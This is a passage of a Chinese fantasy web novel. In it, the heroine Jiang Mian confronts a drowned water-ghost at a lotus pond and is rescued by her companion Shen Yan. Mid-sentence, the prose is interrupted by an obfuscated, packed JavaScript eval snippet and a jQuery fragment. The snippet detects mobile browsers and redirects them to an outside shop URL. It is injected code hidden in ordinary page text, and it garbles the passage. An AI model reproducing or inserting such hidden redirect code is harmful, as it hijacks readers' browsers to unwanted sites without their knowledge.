沈砚的身影渐渐消失在枫林小径尽头。江眠收回目光,缓缓在莲池边蹲了下来,盯着池中那朵兀自绽放的迟莲。
“秋深犹有莲开,倒是少见。不知是此处水土使然,还是别的缘故。”
就在这时,耳畔忽然响起寒啼的传音:“大王,乐无虞不见了。管事得了消息正四处派人找寻,瞧着似乎乐府对这位乐小姐十分看重。”
江眠眸光微敛:“乐无虞么,继续跟着。”
她看着那朵莲,心思依旧盘旋在乐府诸多蹊跷事上,直到身后一声压抑的浅咳轻轻响起才将她的思绪拉回。
她起身转头,沈砚不知什么时候又回来了。
“怎么回来了?”
沈砚立在枫树下,一手轻扶树干,白衣大半浸在枫影斑驳之中,倏然之间整个人晃了晃,身形一软,直直向前倒下,江眠立刻上前一步将他托住,他顺势将头轻轻靠在她肩头,无力道:“大半日未曾进食,身子发虚,没有力气了。”
江眠还没探上他的脉搏,垂眸就看见沈砚本就没多少血色的薄唇更白了。
“好吧,那你在这里歇着,我去给你买。”
沈砚将全身的重量交到江眠身上,虽然他身子轻得很,却教她一时难以推开,嗓音埋在她肩头,闷闷传出:“不行。我方才一走,你便在池边蹲下了。”
江眠不由失笑。这人在船上亲眼看见她从江上掉下去,大概是怕她又在池边蹲着蹲着就蹲进了水里。她拍了拍他的后背,道:“好好好,我让乐府的人做一些给你吃。我们帮他们查明乐无争的事,吃他们家一顿饭,总是不过分的吧。”
沈砚这才作罢。
不多时,饭菜端了上来。乐府的仆人还特地在莲池边给沈砚搬了一张小桌案和坐垫。沈砚坐在坐垫上,执箸用饭,动作不紧不慢,时而抬眸看一眼对面的枫林,时而低眉夹一箸菜,一副悠然自得的模样,秋风从池塘上吹过来,把他脸侧的碎发吹得轻轻飞扬。他放下筷子,端起茶杯抿了一口,颇有几分惬意。
暮秋的夜晚要来的早些。江眠让沈砚喝了药去客房睡下,答应他夜半时分一定会来叫他,他才翻身躺了下去。
月光如练洒在莲池上,那朵迟莲在夜中开的格外美异。此处偏僻,所有人都在正厅守灵,更是不会有人经过。
祠堂内,江眠席地坐在枫箱旁,静静等待着夜半时分。
四下一片寂静,江眠闭眼小憩,忽听一声长长的叹息,从身边的箱子里幽幽地渗了出来。
“唉......”
江眠睁开眼。一声之后,身旁的枫箱发出此起彼伏的微叹,一声叠一声。
“唉......“
“唉......”
叹息经久不息,绕着祠堂上方久绕不散。
仿佛这妆匣盛满千言万语,皆是她们生生咽了一世,终究没能宣之于口的话语。
江眠轻唤一声:“付姑娘?”
没有人声应答,唯有一声声幽幽的长叹似近又远漫开。
江眠拿起一具妆匣启开。内部莲花花瓣的尖端微微翘起,她的指尖抚上花瓣的刹那,被瓣尖轻轻一划,一滴血渗出,滴落在花瓣表面。
鲜血沿着纹路蔓延开来,不过片刻,消失不见。
鲜血落处,雕莲竟真的活转过来,莲瓣缓缓舒展绽放,缕缕黑气从花蕊中散发出来,在匣内盘旋了几圈,又消失不见。待异象散尽,那朵木莲依旧静静栖于匣底,方才种种异动,恍若一场虚妄幻梦。
江眠心道:“都说万物有灵,器物本是死物,可若承载了太多执念,日久也是会生出灵性的。”
夜半时分一过,枫箱的叹息便停了。
江眠捧着这只妆匣缓步踏出祠堂的门槛,脚刚跨过门沿,还未站稳,忽听不远处有人在唤她的名字。
声音从莲池的方向飘来,黏着江水的腥腐气,缥缈不定。
“江眠......江眠......”
江眠脚步一顿,身形一晃,悄无声息隐在了祠堂之中。
竟是水伥。
这一类乃是落水枉死之人所化的伥鬼。本事算不得强横,手段粗浅,极易被识破,伤人的本事有限,离开水域便难以作祟。唯一麻烦的是他们天生就知晓人的姓名,以此诱骗生人靠近水边。
只要不应声,伥鬼便拿人没办法。
也正因为直呼本名的招数极易被人看破,他们便学得格外狡猾。若是唤不动本人,便会改去呼喊那人心中最记挂的名字,多半是早已离世的亲友故人,拿此来勾得人心神动摇。
水中那声音喊了几声,见她不答,不死心,又换了一个名字。
“江、江疏眠......江疏眠......”
名字刚一出口,伥鬼心底便掠过一丝迟疑,总觉得这名字似曾耳闻,一时却想不起出处。她暂且压下纷乱的思绪,轻声反复唤了几声,“江疏眠......”
江眠眉尾一挑,依旧背靠着墙,默不作声。
那声音似乎从没见过这么难唤应的人,沉默了片刻,忽然换了调子,缠绵柔软,几近不堪入耳:“奕尘仙......”
江眠一怔,双目微微眯起,眸底寒意渐生。
还未喊完,忽听一道破空之声,女人话音还在嘴里,低头一看,便见一柄收拢的红伞,伞尖锋锐刺骨,直直刺入她左肩。霎时间,鲜血顺着伞身涔涔淌下,一滴滴坠入池水之中。
眼前墨袍女子徐徐迈步上前,眼底红光一闪而逝,压抑沉声:“奕尘仙君的名号,是你这么叫的?”
伥鬼勾唇一笑,缓缓攥着寂荷向前推送,江眠被这股力道扯得身形一晃,伞尖复又刺入女子肩头几分。
她浅浅笑着,五指仍旧死死扣住寂荷不肯松开,道:“江眠?江疏眠?你何必这般怜香惜玉,再往前一寸便能将我贯穿。这般轻柔,是杀不死我的。”
江眠道:“付姑娘,我本就不想杀你。”
付萍儿俯身逼近,呼出的气在江眠的鼻尖萦绕,淡淡笑道:“啊,你怎么知道我的名字?”
江眠抬起另一只手。月光下,那只小妆匣静静地躺在她掌心里,道:“这等双面刻纹的工艺也只有付姑娘才能做到。”
付萍儿怔怔地看着江眠手中的物件,沉默半晌,忽然肩头轻颤,边笑边发抖道:“是我做的。可那又怎样?那又怎样?做的再好,还不是落得这样的下场!”
她猛地攥紧寂荷向前一扯,伞尖瞬息将她的左肩贯穿,她却感觉不到疼似的,双眼死死锁着江眠,借
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926425|213541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着这股力道硬生生将二人之间的距离拉到最近。
江眠的足尖浅浅浸入池水。
付萍儿眼底戾气翻涌,猛地向前一扑,寂荷整个洞穿她的左肩,她张开双臂,以一股惊人蛮力死死箍住江眠。
随即,她向着身后池水,轻轻倒去......
“江眠——!”
耳畔只剩身后沈砚的呼喊,下一刻,池水漫过耳际,所有声响尽数被流水吞没......
池水冰冷,光线暗淡。江眠猛力挣脱付萍儿,可对方是伥鬼,水下本就是她的地盘,加上这面面相拥的姿势极难挣脱,付萍儿的双臂又箍得死紧,两人纠缠着往下沉,很快就触到了塘底。
这池塘果真不到六尺,入底之后,身下尽是沉滞厚重的淤泥,待江眠看清池底的模样,瞳孔猛地一缩。
盘根错杂的莲根间,白骨层层叠叠,不知沉埋了多少岁月,一根根莲茎缠着骸骨探来,这哪里是什么草木,分明是一只只裹着根茎的人手,想要将江眠牢牢拉进淤泥深处,一同沦为莲的养料。
乐无争身死的光景猛然在江眠脑海之中铺展开来。
忽然之间,塘水骤冷,肉眼可见的,冰层由外围向内不停推进,一层一层势不可挡,瞬息冰封。
付萍儿怒骂一声:“该死!”,猛地攥紧江眠的手臂,拼尽全力向着一旁奔流不息的活水通道游去。
冰封推进之势迅猛,远远赶超二人,付萍儿再不迟疑,一把拔出左肩的寂荷,水底蛰伏的莲根瞬间活转,交错织成屏障,竭力阻挡汹涌逼近的冰封。
可莲根又怎抵得住冰封之力,冰层径直穿透重重根须,全然无视这道屏障,一路封死整片池底,转瞬便逼至付萍儿与江眠跟前。
付萍儿见状,当即反手将江眠朝冰封地界推去。
冰棱席卷而来,势不可挡,眼看便要刺穿江眠,却硬生生顿在。
一汪池水自中间一分为二,一半冰封死寂,一半活水奔流,冰水两隔,壁垒分明,中间赫然隔开一道可供二人站立的狭小天地。
付萍儿扔下江眠,头也不回地往远处游去。
江眠奋力向前游出,伸手去捞顺水漂走的寂荷,转瞬之间,只觉身下一轻,周身水流褪去,尽数被冰封起来,池水托力一空,她脚下失重,直直向下坠落。
下一刻,一只有力的手臂已然稳稳将她拦腰抱住。
江眠下意识勾住了对方的脖颈,不假思索脱口而出:“沈砚。”
沉默半晌,一道沙哑低涩的嗓音贴着她耳畔缓缓响起:“......你不是答应了我,要同我一起?”
江眠僵在他怀里,一时手足无措。方才和付萍儿纠缠时分毫不慌,此刻落在沈砚怀中,喉间却莫名有些滞涩。
她干涩开口道:“......我看你睡得安稳,便想着不去惊扰…….”
话说到一半,再也说不下去。
她与沈砚算相识一场的友人,先前他郑重叮嘱,她亦是连声应允,想到这里,江眠只觉心口一阵发闷。
沈砚一语不发,长长的睫毛轻颤,看不清眼底的情绪。江眠唯能感觉抱着她的手臂微微收紧几分。
她不敢长久承受这份沉寂,轻声开口:“……沈砚,先放我下来吧。”